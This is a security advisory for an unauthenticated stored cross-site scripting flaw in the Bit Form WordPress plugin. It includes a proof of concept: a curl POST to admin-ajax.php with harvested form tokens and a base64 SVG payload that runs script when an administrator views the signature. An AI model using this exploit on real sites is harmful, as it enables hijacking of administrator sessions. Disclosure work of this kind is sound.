Bit Form < 3.2.0 – Unauthenticated Stored XSS via SVG Signature Upload | CVE 2026-16573

Description

The plugin does not sanitize an uploaded signature image before storing it, allowing unauthenticated attackers to upload a crafted SVG file containing JavaScript that executes when the file is viewed, leading to Stored Cross-Site Scripting.

Proof of Concept

Affected: Bit Form <= 3.1.4 (free). Fixed: 3.2.0. Attacker: Unauthenticated.
Prerequisites (admin-side setup, non-default):
  - Bit Form Pro installed (the Signature field is a Pro-only field).
  - A form with a Signature field whose "Image Type" option is set to SVG (image/svg+xml);
    default is PNG.
  - The form published on a public page, e.g. [bitform id=<FORM_ID>].

1. As an anonymous visitor, load the public form page and read the two hidden inputs the
   form embeds: name="csrf" and name="t_identity" (and the form id from name="bitforms_id",
   value "bitforms_<FORM_ID>"). These are reusable by anyone — no session binding.

2. POST to /wp-admin/admin-ajax.php as an unauthenticated user, setting the signature
   field's value to a base64 SVG data-URI carrying a script:

   curl -sk "https://victim.example/wp-admin/admin-ajax.php" \
     --data-urlencode "action=bitforms_submit_form" \
     --data-urlencode "bitforms_id=bitforms_<FORM_ID>" \
     --data-urlencode "csrf=<CSRF_FROM_PAGE>" \
     --data-urlencode "t_identity=<T_IDENTITY_FROM_PAGE>" \
     --data-urlencode "<SIGNATURE_FIELD_NAME>=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ+YWxlcnQoZG9jdW1lbnQuZG9tYWluKTwvc2NyaXB0Pjwvc3ZnPg=="

   (base64 decodes to: <svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.domain)</script></svg>)
   Response: {"success":true,"data":{"entry_id":N,...}}

3. The server stores the file at:
   wp-content/uploads/bitforms/uploads/<FORM_ID>/<hash>/<entry_id>-<field_key>-<time>-<rand>.svg

4. Open that .svg URL in a browser. On <= 3.1.4 it is served Content-Type: image/svg+xml
   with the <script> intact, so alert(document.domain) executes in the site's origin
   (stored XSS — an administrator opening the entry's signature is the high-impact victim).
   On 3.2.0 the stored file is sanitized to an inert <svg></svg> and nothing executes.